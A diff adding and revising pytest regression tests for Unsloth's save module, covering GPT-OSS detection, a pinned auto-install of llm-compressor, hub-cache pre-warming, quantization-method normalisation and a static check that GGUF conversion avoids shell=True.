+    return namespace["_is_gpt_oss"]
+
+
+def _model(architectures = None, model_type = None):
+    config = types.SimpleNamespace()
+    if architectures is not None:
+        config.architectures = architectures
+    if model_type is not None:
+        config.model_type = model_type
+    return types.SimpleNamespace(config = config)
+
+
+def test_detects_gpt_oss_by_architecture():
+    # architectures is a list, so detection must use membership, not ==.
+    is_gpt_oss = _load_is_gpt_oss()
+    assert is_gpt_oss(_model(architectures = ["GptOssForCausalLM"])) is True
+    assert is_gpt_oss(_model(architectures = ["GptOssForCausalLM"], model_type = "gpt_oss")) is True
+
+
+def test_detects_gpt_oss_by_model_type():
+    is_gpt_oss = _load_is_gpt_oss()
+    assert is_gpt_oss(_model(architectures = ["SomethingElse"], model_type = "gpt-oss")) is True
+    assert is_gpt_oss(_model(architectures = ["SomethingElse"], model_type = "gpt_oss")) is True
+
+
+def test_non_gpt_oss_is_false():
+    is_gpt_oss = _load_is_gpt_oss()
+    assert is_gpt_oss(_model(architectures = ["LlamaForCausalLM"], model_type = "llama")) is False
+    assert is_gpt_oss(_model()) is False
+    assert is_gpt_oss(types.SimpleNamespace()) is False
diff --git a/tests/saving/test_llm_compressor_install_pin.py b/tests/saving/test_llm_compressor_install_pin.py
new file mode 100644
index 0000000000..c2ddfb14e2
--- /dev/null
+++ b/tests/saving/test_llm_compressor_install_pin.py
@@ -0,0 +1,112 @@
+"""Static guards (no import/network/GPU, like test_save_shell_injection.py) that
+install_llm_compressor()'s first-use auto-install of llm-compressor stays version-pinned to a vetted
+range and keeps its opt-out env gate, so a compromised/inflated release can't be auto-pulled."""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+
+_ENV_FLAG = "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL"
+
+
+def _module() -> ast.Module:
+    return ast.parse(SAVE_PY.read_text(encoding = "utf-8"), filename = str(SAVE_PY))
+
+
+def _get_function(name: str) -> ast.FunctionDef:
+    for node in ast.walk(_module()):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    raise AssertionError(f"Function {name} not found in save.py")
+
+
+def _spec_value():
+    for node in ast.walk(_module()):
+        if isinstance(node, ast.Assign) and isinstance(node.value, ast.Constant):
+            if any(
+                isinstance(t, ast.Name) and t.id == "_LLM_COMPRESSOR_SPEC" for t in node.targets
+            ):
+                return node.value.value
+    return None
+
+
+def _first_lineno(fn: ast.AST, predicate) -> int | None:
+    lines = [n.lineno for n in ast.walk(fn) if predicate(n) and hasattr(n, "lineno")]
+    return min(lines) if lines else None
+
+
+def test_spec_is_a_bounded_pin() -> None:
+    spec = _spec_value()
+    assert spec is not None, "_LLM_COMPRESSOR_SPEC must be defined at module scope"
+    assert "llmcompressor" in spec, f"spec must name llmcompressor, got {spec!r}"
+    # A lower and an upper bound: pip cannot jump to an arbitrary (e.g. inflated) future release.
+    assert ">=" in spec and "<" in spec, f"spec must have lower and upper bounds, got {spec!r}"
+
+
+def test_ceiling_blocks_inflated_versions() -> None:
+    """Cap to the exact vetted patch: block an inflated 0.x, a new major, and any higher in-range patch."""
+    from packaging.requirements import Requirement
+
+    spec = Requirement(_spec_value()).specifier
+    assert spec.contains("0.12.0"), "the current vetted release must resolve"
+    assert not spec.contains("0.999.0"), "an inflated 0.x must be blocked"
+    assert not spec.contains("1.0.0"), "a new major must not be auto-installed"
+    assert not spec.contains(
+        "0.12.1"
+    ), "a higher in-range patch must be blocked (cap to the vetted patch)"
+    assert not spec.contains(
+        "0.12.999"
+    ), "a crafted higher in-range patch (e.g. on a mirror) must be blocked"
+
+
+def test_floor_stays_compatible_with_supported_torch() -> None:
+    """Floor must stay <=0.6.0: 0.7+ need torch>=2.7, but the pinned torch can be as old as 2.4."""
+    from packaging.requirements import Requirement
+    from packaging.version import Version
+
+    req = Requirement(_spec_value())
+    lowers = [Version(s.version) for s in req.specifier if s.operator in (">=", "==", "~=")]
+    assert lowers, "spec must declare a lower bound"
+    assert max(lowers) <= Version("0.6.0"), (
+        f"floor {max(lowers)} requires a torch newer than Unsloth's minimum (2.4); "
+        "llm-compressor >0.6.0 needs torch>=2.7. Keep the floor <= 0.6.0."
+    )
+
+
+def test_install_command_uses_pinned_spec_not_bare_name() -> None:
+    fn = _get_function("install_llm_compressor")
+    # No argv list may pass the bare, unpinned package literal "llmcompressor".
+    for node in ast.walk(fn):
+        if isinstance(node, ast.List):
+            for elt in node.elts:
+                if isinstance(elt, ast.Constant) and elt.value == "llmcompressor":
+                    raise AssertionError(
+                        "install command must not pass an unpinned 'llmcompressor' literal; "
+                        "use the bounded _LLM_COMPRESSOR_SPEC"
+                    )
+    names = {n.id for n in ast.walk(fn) if isinstance(n, ast.Name)}
+    assert "_LLM_COMPRESSOR_SPEC" in names, "install command must reference _LLM_COMPRESSOR_SPEC"
+
+
+def test_optout_env_gate_precedes_subprocess_install() -> None:
+    fn = _get_function("install_llm_compressor")
+    env_line = _first_lineno(fn, lambda n: isinstance(n, ast.Constant) and n.value == _ENV_FLAG)
+    assert env_line is not None, f"{_ENV_FLAG} opt-out must be checked in install_llm_compressor"
+
+    def _is_check_call(n: ast.AST) -> bool:
+        return (
+            isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Attribute)
+            and n.func.attr == "check_call"
+            and isinstance(n.func.value, ast.Name)
+            and n.func.value.id == "subprocess"
+        )
+
+    install_line = _first_lineno(fn, _is_check_call)
+    assert install_line is not None, "expected a subprocess.check_call install in the function"
+    assert (
+        env_line < install_line
+    ), "the auto-install opt-out must be evaluated before any package install runs"
diff --git a/tests/saving/test_prewarm_base_model_hub_cache.py b/tests/saving/test_prewarm_base_model_hub_cache.py
new file mode 100644
index 0000000000..cbb52863ba
--- /dev/null
+++ b/tests/saving/test_prewarm_base_model_hub_cache.py
@@ -0,0 +1,459 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Regression tests for #6890: repeated base-model downloads across checkpoint exports.
+
+merge_and_overwrite_lora downloads missing 16-bit shards with hf_hub_download(local_dir),
+which never populates the persistent HF hub cache; a temporary merge directory (Studio
+GGUF exports delete it) means every checkpoint export re-downloads the full base model.
+_prewarm_base_model_hub_cache snapshot-downloads the base into the hub cache first so
+the zoo's cache-copy fast path is hit on later exports.
+
+unsloth.save cannot be imported on GPU-less hosts, so these tests extract the helper's
+source via ast and exec it against fakes, mirroring the other GPU-free tests.
+"""
+
+from __future__ import annotations
+
+import ast
+import json
+import os
+import types
+from pathlib import Path
+
+import pytest
+
+
+_SAVE_PY = Path(__file__).resolve().parent.parent.parent / "unsloth" / "save.py"
+_SOURCE = _SAVE_PY.read_text(encoding = "utf-8")
+
+
+def _extract_function(name: str) -> str:
+    tree = ast.parse(_SOURCE)
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return ast.get_source_segment(_SOURCE, node)
+    raise AssertionError(f"{name} not found in unsloth/save.py")
+
+
+class _FakePeftModel:
+    def __init__(self, name_or_path = "unsloth/gemma-4-31b-it-bnb-4bit"):
+        self.config = types.SimpleNamespace(_name_or_path = name_or_path)
+
+
+class _Recorder:
+    """Callable that records calls and returns/raises per configuration."""
+
+    def __init__(
+        self,
+        result = None,
+        exc = None,
+        results_fn = None,
+    ):
+        self.calls = []
+        self.result = result
+        self.exc = exc
+        self.results_fn = results_fn
+
+    def __call__(self, *args, **kwargs):
+        self.calls.append((args, kwargs))
+        if self.exc is not None:
+            raise self.exc
+        if self.results_fn is not None:
+            return self.results_fn(*args, **kwargs)
+        return self.result
+
+
+def _build_env(
+    monkeypatch,
+    tmp_path,
+    shards = None,
+    cached = False,
+    free_bytes = 10**15,
+    base_source = None,
+    kaggle = False,
+    colab = False,
+    hub_cache = None,
+    live_hub_cache = "__same__",
+    fp8_sibling = None,
+    sibling_source = None,
+    index_weight_map = None,
+):
+    """Exec the extracted helper with stubbed collaborators; returns (fn, stubs)."""
+    shards = (
+        shards
+        if shards is not None
+        else [
+            ("model-00001-of-00002.safetensors", 30 * 1024**3),
+            ("model-00002-of-00002.safetensors", 29 * 1024**3),
+        ]
+    )
+    if base_source is None:
+        base_source = ("unsloth/gemma-4-31b-it", False, None, False, None)
+
+    class _FS:
+        def __init__(self, token = None):
+            pass
+
+        def ls(
+            self,
+            repo,
+            detail = True,
+        ):
+            return [{"name": f"{repo}/{n}", "size": s} for n, s in shards]
+
+    class _LocalMiss(Exception):
+        pass
+
+    hf_hub_download = _Recorder(result = str(tmp_path / "cached"))
+    if not cached:
+        hf_hub_download.exc = _LocalMiss("not cached")
+    # Serve model.safetensors.index.json (the merge's shard filter) while shard cache
+    # probes still miss, so the index-filter path can be exercised without a network.
+    if index_weight_map is not None:
+        _idx_path = tmp_path / "model.safetensors.index.json"
+        _idx_path.write_text(json.dumps({"weight_map": index_weight_map}))
+
+        def _hub_dl(
+            repo_id = None,
+            filename = None,
+            **kw,
+        ):
+            if filename == "model.safetensors.index.json":
+                return str(_idx_path)
+            raise _LocalMiss("not cached")
+
+        hf_hub_download.exc = None
+        hf_hub_download.results_fn = _hub_dl
+    snapshot_download = _Recorder()
+    determine_base_model_source = _Recorder(result = base_source)
+    # For the FP8 -> 16bit sibling swap: return the sibling's (16bit) source when the
+    # helper re-resolves the sibling, else the original base source.
+    if fp8_sibling is not None:
+        _sib_src = sibling_source or (fp8_sibling, False, None, False, None)
+        determine_base_model_source.results_fn = (
+            lambda name, token = None: _sib_src if name == fp8_sibling else base_source
+        )
+    resolve_fp8_16bit_sibling = _Recorder(result = fp8_sibling)
+
+    cache_dir = tmp_path / "hub_cache"
+    cache_dir.mkdir(exist_ok = True)
+
+    hf_module = types.SimpleNamespace(
+        HfFileSystem = _FS,
+        hf_hub_download = hf_hub_download,
+        snapshot_download = snapshot_download,
+        constants = types.SimpleNamespace(
+            HF_HUB_CACHE = hub_cache if hub_cache is not None else str(cache_dir)
+        ),
+    )
+    zoo_module = types.SimpleNamespace(
+        determine_base_model_source = determine_base_model_source,
+        _resolve_fp8_16bit_sibling = resolve_fp8_16bit_sibling,
+    )
+    # Stub the live-env cache resolver the pre-warm uses (matches what the merge reads).
+    _live = (
+        (hub_cache if hub_cache is not None else str(cache_dir))
+        if live_hub_cache == "__same__"
+        else live_hub_cache
+    )
+    hf_cache_module = types.SimpleNamespace(_active_caches = lambda: (None, _live, None))
+    monkeypatch.setitem(__import__("sys").modules, "huggingface_hub", hf_module)
+    monkeypatch.setitem(__import__("sys").modules, "unsloth_zoo.saving_utils", zoo_module)
+    monkeypatch.setitem(__import__("sys").modules, "unsloth_zoo.hf_cache", hf_cache_module)
+
+    fake_shutil = types.SimpleNamespace(
+        disk_usage = lambda path: types.SimpleNamespace(free = free_bytes)
+    )
+
+    prints = []
+    namespace = {
+        "os": os,
+        "shutil": fake_shutil,
+        "PeftModel": _FakePeftModel,
+        "get_model_name": lambda name, load_in_4bit: name.removesuffix("-bnb-4bit"),
+        "IS_KAGGLE_ENVIRONMENT": kaggle,
+        "IS_COLAB_ENVIRONMENT": colab,
+        "print": lambda *a, **k: prints.append(" ".join(str(x) for x in a)),
+    }
+    exec(
+        compile(_extract_function("_prewarm_base_model_hub_cache"), str(_SAVE_PY), "exec"),
+        namespace,
+    )
+    stubs = types.SimpleNamespace(
+        snapshot_download = snapshot_download,
+        hf_hub_download = hf_hub_download,
+        determine_base_model_source = determine_base_model_source,
+        resolve_fp8_16bit_sibling = resolve_fp8_16bit_sibling,
+        prints = prints,
+    )
+    return namespace["_prewarm_base_model_hub_cache"], stubs
+
+
+def test_downloads_base_into_hub_cache(monkeypatch, tmp_path):
+    monkeypatch.delenv("UNSLOTH_PREWARM_HUB_CACHE", raising = False)
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit", token = "tok")
+    assert len(stubs.snapshot_download.calls) == 1
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert kwargs["repo_id"] == "unsloth/gemma-4-31b-it"
+    # No local_dir: the whole point is populating the persistent cache.
+    assert "local_dir" not in kwargs
+    assert "model-00001-of-00002.safetensors" in kwargs["allow_patterns"]
+    assert "model.safetensors.index.json" in kwargs["allow_patterns"]
+
+
+def test_skips_download_when_already_cached(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path, cached = True)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+    # The cached check must not hit the network.
+    assert all(kwargs.get("local_files_only") for _, kwargs in stubs.hf_hub_download.calls)
+
+
+def test_skips_when_disk_too_small_for_cache_copy(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path, free_bytes = 60 * 1024**3)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+@pytest.mark.parametrize("env_value", ["0", "false", "NO", "off"])
+def test_env_opt_out(monkeypatch, tmp_path, env_value):
+    monkeypatch.setenv("UNSLOTH_PREWARM_HUB_CACHE", env_value)
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+@pytest.mark.parametrize("var", ["HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"])
+def test_offline_skips(monkeypatch, tmp_path, var):
+    monkeypatch.setenv(var, "1")
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_kaggle_and_colab_skip(monkeypatch, tmp_path):
+    for flag in ("kaggle", "colab"):
+        fn, stubs = _build_env(monkeypatch, tmp_path, **{flag: True})
+        fn(_FakePeftModel(), save_method = "merged_16bit")
+        assert stubs.snapshot_download.calls == [], f"{flag} must skip pre-warm"
+
+
+@pytest.mark.parametrize("save_method", ["merged_4bit", "forced_merged_4bit", "lora"])
+def test_non_downloading_save_methods_skip(monkeypatch, tmp_path, save_method):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = save_method)
+    assert stubs.snapshot_download.calls == []
+
+
+def test_local_base_model_skips(monkeypatch, tmp_path):
+    local_dir = tmp_path / "local_base"
+    local_dir.mkdir()
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(name_or_path = str(local_dir)), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_quantized_base_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/gemma-4-31b-it-bnb-4bit", False, None, True, "nf4"),
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_non_peft_model_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(object(), save_method = "merged_16bit")
+    assert stubs.determine_base_model_source.calls == []
+    assert stubs.snapshot_download.calls == []
+
+
+def test_consolidated_shard_excluded_when_proper_shards_exist(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("consolidated.safetensors", 14 * 1024**3),
+            ("model-00001-of-00001.safetensors", 14 * 1024**3),
+        ],
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert "consolidated.safetensors" not in kwargs["allow_patterns"]
+    assert "model-00001-of-00001.safetensors" in kwargs["allow_patterns"]
+
+
+def test_consolidated_only_repo_is_kept(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [("consolidated.safetensors", 14 * 1024**3)],
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert "consolidated.safetensors" in kwargs["allow_patterns"]
+
+
+def test_listing_failure_is_swallowed(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    stubs.determine_base_model_source.exc = RuntimeError("HF is down")
+    fn(_FakePeftModel(), save_method = "merged_16bit")  # must not raise
+    assert stubs.snapshot_download.calls == []
+
+
+def test_gpt_oss_bf16_mxfp4_swap_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(
+        _FakePeftModel(name_or_path = "unsloth/gpt-oss-20b-BF16"),
+        save_method = "mxfp4",
+    )
+    assert stubs.snapshot_download.calls == []
+
+
+def test_missing_config_skips_cleanly(monkeypatch, tmp_path):
+    # A model whose config is None must skip silently, not fall into the outer
+    # exception handler that prints a misleading "Could not pre-cache" warning.
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    model = _FakePeftModel()  # a PeftModel instance so the isinstance guard passes
+    model.config = None
+    fn(model, save_method = "merged_16bit")
+    assert stubs.determine_base_model_source.calls == []
+    assert stubs.snapshot_download.calls == []
+    assert not any(
+        "Could not pre-cache" in p for p in stubs.prints
+    ), "missing config took the error path instead of a clean skip"
+
+
+def test_relative_hub_cache_does_not_falsely_skip(monkeypatch, tmp_path):
+    # A relative HF_HUB_CACHE whose leaf does not exist yet must still resolve to a real
+    # root for the disk probe; without abspath the walk-up hits "" and pre-warm is skipped.
+    monkeypatch.chdir(tmp_path)
+    fn, stubs = _build_env(monkeypatch, tmp_path, hub_cache = "relcache/hub")
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert len(stubs.snapshot_download.calls) == 1, "relative cache path falsely skipped pre-warm"
+
+
+def test_generic_save_calls_prewarm_before_merge():
+    """unsloth_generic_save must pre-warm the cache before merge_and_overwrite_lora."""
+    tree = ast.parse(_SOURCE)
+    fn = next(
+        node
+        for node in ast.walk(tree)
+        if isinstance(node, ast.FunctionDef) and node.name == "unsloth_generic_save"
+    )
+    body_src = ast.get_source_segment(_SOURCE, fn)
+    prewarm_pos = body_src.find("_prewarm_base_model_hub_cache(")
+    merge_pos = body_src.find("merge_and_overwrite_lora(")
+    assert prewarm_pos != -1, "unsloth_generic_save no longer pre-warms the hub cache"
+    assert merge_pos != -1
+    assert prewarm_pos < merge_pos, "pre-warm must run before the merge downloads shards"
+
+
+def test_prewarm_downloads_into_live_env_cache(monkeypatch, tmp_path):
+    # Download must target the live-env cache (what the merge reads), via cache_dir.
+    fn, stubs = _build_env(monkeypatch, tmp_path, live_hub_cache = "/mnt/persistent/hf/hub")
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls[0][1]["cache_dir"] == "/mnt/persistent/hf/hub"
+
+
+def test_prewarm_survives_runtime_cache_redirect(monkeypatch, tmp_path):
+    # Frozen constants (stale dir) vs the merge's runtime-redirected dir: the pre-warm
+    # must follow the redirect, else the cache-copy fast path misses and #6890 is unfixed.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        hub_cache = "/read-only/original/hub",
+        live_hub_cache = "/writable/redirect/hub",
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls[0][1]["cache_dir"] == "/writable/redirect/hub"
+
+
+def test_cached_probe_uses_live_env_cache(monkeypatch, tmp_path):
+    # The already-cached fast path must probe the live-env cache dir too.
+    fn, stubs = _build_env(
+        monkeypatch, tmp_path, cached = True, live_hub_cache = "/mnt/persistent/hf/hub"
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.hf_hub_download.calls, "cached probe did not run"
+    assert all(
+        kw.get("cache_dir") == "/mnt/persistent/hf/hub" for _, kw in stubs.hf_hub_download.calls
+    )
+
+
+def test_fp8_base_prewarms_16bit_sibling_not_fp8_repo(monkeypatch, tmp_path):
+    # A merged_16bit export of an FP8 base with a 16bit sibling merges onto the sibling,
+    # so the pre-warm must cache the sibling (what the merge downloads), not the FP8 repo.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/Model-FP8", False, None, True, "fp8"),
+        fp8_sibling = "unsloth/Model",
+    )
+    fn(_FakePeftModel(name_or_path = "unsloth/Model-FP8"), save_method = "merged_16bit")
+    assert stubs.resolve_fp8_16bit_sibling.calls, "sibling resolver was not consulted"
+    assert len(stubs.snapshot_download.calls) == 1
+    assert stubs.snapshot_download.calls[0][1]["repo_id"] == "unsloth/Model"
+
+
+def test_fp8_base_without_sibling_still_prewarms_fp8_repo(monkeypatch, tmp_path):
+    # No sibling: the merge dequants the FP8 base in place, so caching the FP8 repo helps.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/Model-FP8", False, None, True, "fp8"),
+        fp8_sibling = None,
+    )
+    fn(_FakePeftModel(name_or_path = "unsloth/Model-FP8"), save_method = "merged_16bit")
+    assert len(stubs.snapshot_download.calls) == 1
+    assert stubs.snapshot_download.calls[0][1]["repo_id"] == "unsloth/Model-FP8"
+
+
+def test_prewarm_filters_shards_through_index(monkeypatch, tmp_path):
+    # A repo with a leftover shard not referenced by the index: the merge keeps only the
+    # indexed shards, so the pre-warm must too (else the disk gate over-counts and
+    # snapshot_download fetches the unused leftover).
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("model-00001-of-00002.safetensors", 10 * 1024**3),
+            ("model-00002-of-00002.safetensors", 10 * 1024**3),
+            ("leftover-00001-of-00001.safetensors", 10 * 1024**3),
+        ],
+        index_weight_map = {
+            "a.weight": "model-00001-of-00002.safetensors",
+            "b.weight": "model-00002-of-00002.safetensors",
+        },
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    allow = stubs.snapshot_download.calls[0][1]["allow_patterns"]
+    assert "leftover-00001-of-00001.safetensors" not in allow
+    assert "model-00001-of-00002.safetensors" in allow
+    assert "model-00002-of-00002.safetensors" in allow
+
+
+def test_prewarm_keeps_all_shards_when_index_matches(monkeypatch, tmp_path):
+    # No leftover: every listed shard is indexed, so none are dropped.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("model-00001-of-00002.safetensors", 10 * 1024**3),
+            ("model-00002-of-00002.safetensors", 10 * 1024**3),
+        ],
+        index_weight_map = {
+            "a.weight": "model-00001-of-00002.safetensors",
+            "b.weight": "model-00002-of-00002.safetensors",
+        },
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    allow = stubs.snapshot_download.calls[0][1]["allow_patterns"]
+    assert "model-00001-of-00002.safetensors" in allow
+    assert "model-00002-of-00002.safetensors" in allow
diff --git a/tests/saving/test_quant_method_none_normalization.py b/tests/saving/test_quant_method_none_normalization.py
new file mode 100644
index 0000000000..c1c5fd3686
--- /dev/null
+++ b/tests/saving/test_quant_method_none_normalization.py
@@ -0,0 +1,81 @@
+"""CPU-only regression for the quant-method normalization loops in save.py.
+
+`unsloth_save_pretrained_gguf` and `save_to_gguf_generic` each normalize the
+`quantization_method` list, mapping a ``None`` element to ``"q8_0"``. The mapping
+used to call ``quant_method.lower()`` as the first statement of the loop, so a
+``None`` element (e.g. ``quantization_method=[None]`` or ``["q4_k_m", None]``)
+raised ``AttributeError: 'NoneType' object has no attribute 'lower'`` and the
+``elif quant_method is None`` branch was unreachable dead code.
+
+The loop is inline inside two heavy functions (importing unsloth needs
+unsloth_zoo / a GPU), so - like test_is_gpt_oss_detection.py - we extract just the
+loop source via ``ast`` and exec it against sample inputs. That exercises the real
+source: it fails on the old ordering and passes once ``None`` is handled first.
+"""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+import pytest
+
+SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+SAVE_SRC = SAVE_PY.read_text(encoding = "utf-8")
+SAVE_TREE = ast.parse(SAVE_SRC, filename = str(SAVE_PY))
+
+# The target functions and the list variable each one appends the normalized method to.
+TARGETS = (
+    ("unsloth_save_pretrained_gguf", "quantization_methods"),
+    ("save_to_gguf_generic", "new_quantization_methods"),
+)
+
+
+def _func(tree, name):
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    raise AssertionError(f"function {name!r} not found in {SAVE_PY.name}")
+
+
+def _quant_loop(func_name):
+    # The quant-normalization `for` loop iterates `quantization_method`; grab its source.
+    func = _func(SAVE_TREE, func_name)
+    for node in ast.walk(func):
+        if (
+            isinstance(node, ast.For)
+            and isinstance(node.iter, ast.Call)
+            and isinstance(node.iter.func, ast.Name)
+            and node.iter.func.id == "enumerate"
+            and isinstance(node.iter.args[0], ast.Name)
+            and node.iter.args[0].id == "quantization_method"
+        ):
+            return node
+    raise AssertionError(f"quant-normalization loop not found in {func_name}")
+
+
+def _run_loop(func_name, out_var, quantization_method):
+    # exec just the extracted loop against a given input, returning the appended methods.
+    loop_src = ast.get_source_segment(SAVE_SRC, _quant_loop(func_name))
+    namespace = {out_var: [], "quantization_method": quantization_method}
+    exec(loop_src, {"__builtins__": __builtins__}, namespace)
+    return namespace[out_var]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_none_element_maps_to_q8_0(func_name, out_var):
+    # A bare None inside the list must map to q8_0, not raise AttributeError.
+    assert _run_loop(func_name, out_var, [None]) == ["q8_0"]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_none_mixed_with_strings(func_name, out_var):
+    # None resolves to q8_0 while sibling string methods are still normalized (lowercased).
+    assert _run_loop(func_name, out_var, ["Q4_K_M", None]) == ["q4_k_m", "q8_0"]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_string_methods_unchanged(func_name, out_var):
+    # The fix must not alter behavior for the ordinary string inputs.
+    methods = ["not_quantized", "fast_quantized", "quantized", "Q8_0"]
+    assert _run_loop(func_name, out_var, methods) == ["f16", "q8_0", "q4_k_m", "q8_0"]
diff --git a/tests/saving/test_save_shell_injection.py b/tests/saving/test_save_shell_injection.py
index b02748c250..5f55137771 100644
--- a/tests/saving/test_save_shell_injection.py
+++ b/tests/saving/test_save_shell_injection.py
@@ -7,63 +7,83 @@ from pathlib import Path
 SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
 
 
-def _function_calls(source: str, function_name: str) -> list[ast.Call]:
+def _get_function(source: str, function_name: str) -> ast.FunctionDef:
     tree = ast.parse(source, filename = str(SAVE_PY))
     for node in tree.body:
         if isinstance(node, ast.FunctionDef) and node.name == function_name:
-            return [child for child in ast.walk(node) if isinstance(child, ast.Call)]
+            return node
     raise AssertionError(f"Function {function_name} not found in save.py")
 
 
-def _assert_safe_ggml_calls(calls: list[ast.Call]) -> None:
-    popen_calls = []
-    for call in calls:
-        if isinstance(call.func, ast.Attribute) and call.func.attr == "Popen":
-            if isinstance(call.func.value, ast.Name) and call.func.value.id == "subprocess":
-                popen_calls.append(call)
+def _popen_calls(node: ast.AST) -> list[ast.Call]:
+    calls = []
+    for child in ast.walk(node):
+        if (
+            isinstance(child, ast.Call)
+            and isinstance(child.func, ast.Attribute)
+            and child.func.attr == "Popen"
+            and isinstance(child.func.value, ast.Name)
+            and child.func.value.id == "subprocess"
+        ):
+            calls.append(child)
+    return calls
 
-    assert popen_calls, "Expected at least one subprocess.Popen call"
 
-    ggml_calls = []
+def _list_assignments(node: ast.AST, target: str) -> list[ast.List]:
+    lists = []
+    for child in ast.walk(node):
+        if isinstance(child, ast.Assign) and isinstance(child.value, ast.List):
+            if any(isinstance(t, ast.Name) and t.id == target for t in child.targets):
+                lists.append(child.value)
+    return lists
+
+
+def test_lora_gguf_conversion_does_not_use_shell() -> None:
+    """The LoRA -> GGUF conversion must pass argv as a list (no shell=True), so a crafted
+    save path cannot inject shell commands. The conversion lives in the shared helper now."""
+    helper = _get_function(SAVE_PY.read_text(encoding = "utf-8"), "_unsloth_save_lora_gguf")
+    popen_calls = _popen_calls(helper)
+    assert popen_calls, "Expected at least one subprocess.Popen call in _unsloth_save_lora_gguf"
+
     for call in popen_calls:
-        if not call.args:
-            continue
-        argv = call.args[0]
-        if isinstance(argv, ast.List) and len(argv.elts) >= 2:
-            second_arg = argv.elts[1]
-            if (
-                isinstance(second_arg, ast.Constant)
-                and second_arg.value == "llama.cpp/convert-lora-to-ggml.py"
-            ):
-                ggml_calls.append(call)
-
-    assert ggml_calls, "Expected the GGML conversion subprocess call"
-
-    for call in ggml_calls:
-        shell_kwargs = [
-            keyword
-            for keyword in call.keywords
-            if keyword.arg == "shell"
-            and isinstance(keyword.value, ast.Constant)
-            and keyword.value.value is True
+        shell = [
+            kw
+            for kw in call.keywords
+            if kw.arg == "shell" and isinstance(kw.value, ast.Constant) and kw.value.value is True
         ]
-        assert not shell_kwargs, "subprocess.Popen must not use shell=True"
+        assert not shell, "subprocess.Popen must not use shell=True"
 
         assert call.args, "subprocess.Popen must receive argv as a positional argument"
         argv = call.args[0]
-        assert isinstance(argv, ast.List), "subprocess.Popen must be called with an argv list"
-        assert len(argv.elts) == 5, "GGML conversion argv should have five elements"
+        if isinstance(argv, ast.List):
+            elts = argv.elts
+        else:
+            # argv is built as a list variable (cmd = [...]) and passed positionally.
+            assert isinstance(argv, ast.Name), "argv must be a list or a list-built variable"
+            assigned = _list_assignments(helper, argv.id)
+            assert assigned, f"argv variable '{argv.id}' must be assigned a list literal"
+            elts = assigned[0].elts
 
-        second_arg = argv.elts[1]
-        assert isinstance(second_arg, ast.Constant)
-        assert second_arg.value == "llama.cpp/convert-lora-to-ggml.py"
+        assert len(elts) >= 2, "argv must include the interpreter and the converter script"
+        first = elts[0]
+        assert (
